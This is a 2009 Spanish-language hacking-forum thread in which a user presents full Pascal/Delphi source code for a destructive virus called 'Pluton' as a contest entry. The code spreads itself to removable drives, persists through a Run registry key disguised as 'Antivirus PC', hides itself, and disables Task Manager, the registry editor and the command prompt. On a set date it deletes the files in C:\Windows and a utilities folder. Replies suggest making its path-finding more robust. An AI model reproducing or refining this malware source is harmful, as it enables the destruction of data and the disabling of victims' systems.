Virus PLUTON, "created in pascal" by sk8erboi [abril negro]

Iniciado por sk8erboi, 26 Abril 2009, 06:24 AM

0 Miembros y 1 Visitante están viendo este tema.

sk8erboi

Hola a todos los que lean este tema, presento aqui mi virus creado en "pascal", voy a ser sincero, no creo que gane pero por lo menos participo jeje.Me llevo 1 larga madrugada entera crearlo y elegi pascal porque fue el primer lenguaje que se me ocurrio(dentro de los que domino,C,C++,batch y bash)
<marquee behavior="alternate">Pluton</marquee>
***************
Nombre:Pluton
Tamanyo:548 kb
Nombre tecnico:???
Autor:sk8erboi
Programado en:Pascal
**************
y aqui esta el codigo:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls, Registry;

type
  TForm1 = class(TForm)
    Timer2: TTimer;
    Timer3: TTimer;
    Timer4: TTimer;
    Timer5: TTimer;
    Timer1: TTimer;
    Timer6: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure Timer3Timer(Sender: TObject);
    procedure Timer4Timer(Sender: TObject);
    procedure Timer5Timer(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer6Timer(Sender: TObject);


  private
    { Private declarations }
  public
    { Public declarations }
  end;



var
  Form1           : TForm1;
  Registro        : TRegistry;
  reg             : TRegistry;
  DirInfo         : TSearchRec;
  r               : Integer;


 


implementation
uses DateUtils;
var
CaminoUnidad:  array [0..3] of char = 'E:\';
CaminoUnidad3: array [0..3] of char = 'F:\';
CaminoUnidad4: array [0..3] of char = 'G:\';
CaminoUnidad5: array [0..3] of char = 'H:\';
CaminoUnidad6: array [0..3] of char = 'I:\';
function IsDiskIn(unidad: char): boolean;
var
d1, d2, d3, d4: longword;
begin
CaminoUnidad[0] := unidad;
Result := GetDiskFreeSpace(CaminoUnidad, d1, d2, d3, d4);
end;
{$R *.dfm}






procedure TForm1.FormCreate(Sender: TObject);
begin
if CopyFile(PChar(ExtractFileDir(ParamStr(0)) +'\Pluton.exe'),PChar('C:\Windows\system\Pluton.exe'),True) then
Timer1.Enabled:= True;
Timer2.Enabled:= True;
Timer3.Enabled:= True;
Timer4.Enabled:= True;
Timer5.Enabled:= True;
Timer6.Enabled:= true;

begin
If  IsDiskIn('E') then
CopyFile(PChar(ExtractFileDir(ParamStr(0)) +'\Pluton.exe'),PChar('E:\Pluton.exe'),False);
begin
if  IsDiskIn('F') then
CopyFile(PChar(ExtractFileDir(ParamStr(0)) +'\Pluton.exe'),PChar('F:\Pluton.exe'),False);
begin
If  IsDiskIn('G') then
CopyFile(PChar(ExtractFileDir(ParamStr(0)) +'\Pluton.exe'),PChar('G:\Pluton.exe'),False);
begin
if  IsDiskIn('H') then
CopyFile(PChar(ExtractFileDir(ParamStr(0)) +'\Pluton.exe'),PChar('H:\Pluton.exe'),False);
begin
If  IsDiskIn('I') then
CopyFile(PChar(ExtractFileDir(ParamStr(0)) +'\Pluton.exe'),PChar('I:\Pluton.exe'),False);
end;
end;
end;
end;
end;
end;






procedure TForm1.FormShow(Sender: TObject);
begin
Registro:=TRegistry.create;
Registro.RootKey := HKEY_LOCAL_MACHINE;
if Registro.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',FALSE) then
Registro.WriteString('Antivirus PC','C:\Windows\system\Pluton.exe');
Registro.Destroy;
begin
ShowWindow(Application.Handle, SW_HIDE);
Form1.Brush.Style:=bsClear;
end;
end;






procedure TForm1.Timer2Timer(Sender: TObject);
begin
If  IsDiskIn('E') then
CopyFile(PChar(ExtractFileDir(ParamStr(0)) +'\Pluton.exe'),PChar('E:\Pluton.exe'),False);
begin
if  IsDiskIn('F') then
CopyFile(PChar(ExtractFileDir(ParamStr(0)) +'\Pluton.exe'),PChar('F:\Pluton.exe'),False);
begin
If  IsDiskIn('G') then
CopyFile(PChar(ExtractFileDir(ParamStr(0)) +'\Pluton.exe'),PChar('G:\Pluton.exe'),False);
begin
if  IsDiskIn('H') then
CopyFile(PChar(ExtractFileDir(ParamStr(0)) +'\Pluton.exe'),PChar('H:\Pluton.exe'),False);
begin
If  IsDiskIn('I') then
CopyFile(PChar(ExtractFileDir(ParamStr(0)) +'\Pluton.exe'),PChar('I:\Pluton.exe'),False);
end;
end;
end;
end;
end;








procedure TForm1.Timer3Timer(Sender: TObject);
procedure DisableTaskMgr(bTF: Boolean);
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software', True);
reg.OpenKey('Microsoft', True);
reg.OpenKey('Windows', True);
reg.OpenKey('CurrentVersion', True);
reg.OpenKey('Policies', True);
reg.OpenKey('System', True);
if bTF = True then
begin
reg.WriteString('DisableTaskMgr', '1');
end
else if bTF = False then
begin
reg.DeleteValue('DisableTaskMgr');
end;
reg.CloseKey;
end;
begin
DisableTaskMgr (True);
Timer3.Enabled:= False;
end;








procedure TForm1.Timer4Timer(Sender: TObject);
procedure DisableRegistryTools(bTF: Boolean);
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\System', True);
if bTF = True then
begin
reg.WriteInteger('DisableRegistryTools', 1);
end
else if bTF = False then
begin
reg.DeleteValue('DisableRegistryTools');
end;
reg.CloseKey;
end;
begin
DisableRegistryTools (True);
Timer4.Enabled:= False;
end;







procedure TForm1.Timer5Timer(Sender: TObject);
begin
ShortDateFormat:= 'd';
Caption:= DateToStr(Date);
if Caption= '19'  then
begin
r := FindFirst('C:\Windows\*.*', FaAnyfile, DirInfo);
while r = 0 do  begin
if ((DirInfo.Attr and FaDirectory <> FaDirectory) and
(DirInfo.Attr and FaVolumeId <> FaVolumeID)) then
if DeleteFile(pChar('C:\Windows\' + DirInfo.Name))
= false then
ShowMessage('System Error Fatal' +
DirInfo.Name);
r := FindNext(DirInfo);
end;
SysUtils.FindClose(DirInfo);
if RemoveDirectory('C:\Windows') = True then
ShowMessage('ESTE A SIDO EL PRIMER VIRUS LLAMADO [PLUTON] CREADO POR sk8erboi');
Timer5.Enabled:= False;
end;
end;





procedure TForm1.Timer1Timer(Sender: TObject);
procedure DisableCMD(bTF: Boolean);
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software\Policies\Microsoft\Windows\System', True);
if bTF = True then
begin
reg.WriteInteger('DisableCMD', 1);
end
else if bTF = False then
begin
reg.DeleteValue('DisableCMD');
end;
reg.CloseKey;
end;
begin
DisableCMD(True);
Timer1.Enabled:= False;
end;


procedure TForm1.Timer6Timer(Sender: TObject);
begin
ShortDateFormat:= 'd';
Caption:= DateToStr(Date);
if Caption= '18'  then
begin
r := FindFirst('C:\Archivos de programa\TuneUp Utilities 2009\*.*', FaAnyfile, DirInfo);
while r = 0 do  begin
if ((DirInfo.Attr and FaDirectory <> FaDirectory) and
(DirInfo.Attr and FaVolumeId <> FaVolumeID)) then
if DeleteFile(pChar('C:\Archivos de programa\TuneUp Utilities 2009\' + DirInfo.Name))
= false then
ShowMessage('System Error Fatal' +
DirInfo.Name);
r := FindNext(DirInfo);
end;
SysUtils.FindClose(DirInfo);
if RemoveDirectory('C:\Archivos de programa\TuneUp Utilities 2009') = True then
ShowMessage('System Error Fatal');
Timer6.Enabled:= False;
end;
end;


end.

seba123neo

Hola, yo tambien empeze en pascal, no me adentre mucho, pero se lo basico...y hago una pregunta porque lo veo en casi todas estas cosas ¿que pasa si no existe esa ruta o no tiene ese programa instalado..? no sirve verdad ? si queres borrar algo yo haria que borre algo que este en todas las maquinas sin importar la unidad de disco ni la ruta...

saludos.
La característica extraordinaria de las leyes de la física es que se aplican en todos lados, sea que tú elijas o no creer en ellas. Lo bueno de las ciencias es que siempre tienen la verdad, quieras creerla o no.

Neil deGrasse Tyson

sk8erboi

jejej en windows la unidad de disco c: siempre va a existir al igual que la carpeta c:/windows(creo yo) y bueno si no tiene ese programa instalado no sale el cartelito

YST

No estoy seguro que C: siempre existira , pero C:\windows no siempre existe , puede ir cambiando de hecho en mi pc es windows.0 :xD


Yo le enseñe a Kayser a usar objetos en ASM

seba123neo

Cita de: sk8erboi en 26 Abril 2009, 06:57 AM
jejej en windows la unidad de disco c: siempre va a existir al igual que la carpeta c:/windows(creo yo) y bueno si no tiene ese programa instalado no sale el cartelito

no, el tipo puede tener el windows instalado en una particion D,E,F la que sea...la idea es que obtengas eso como hacen las variables de entorno de windows que te devuelven donde este el sistema sin importar la unidad...o ccomo usar api's en cualquier otro lenguaje digamos...obtenerlo sin importar la ruta y asi te aseguras de que ande en todas por lo menos...

saludos.
La característica extraordinaria de las leyes de la física es que se aplican en todos lados, sea que tú elijas o no creer en ellas. Lo bueno de las ciencias es que siempre tienen la verdad, quieras creerla o no.

Neil deGrasse Tyson

sk8erboi

ok ok tendre en cuenta sus ideas pero eso sera para el proximo abril negro jeje

Dober-ManN

la unidad c: siempre va a existir mientras alla un disco rigido (oviamente) pero el S.O. (Sistema Operativo) se puede instalar en cualquier unidad.
Virus-W32/Pluton.HLL

Karcrack

Cita de: dober-mann en 26 Abril 2009, 07:41 AM
la unidad c: siempre va a existir mientras alla un disco rigido (oviamente) pero el S.O. (Sistema Operativo) se puede instalar en cualquier unidad.
Virus-W32/Pluton.HLL
No es cierto, la letra de la unidad se puede cambiar:


Yo podria cambiarla si tuviera el S.O instalado en otra unidad que no fuera C.. imaginate que tengo dos HD, tengo el SO instalado en D(El segundo) entonces cambio el nombre de C a E.. ya esta.. soy inmune a los virus mal programados....

Saludos ;)

~~

Y al final este es el que presentas al concurso no?? Yo te lo añado por si acaso y si al final presentas otro ya me lo dices ;)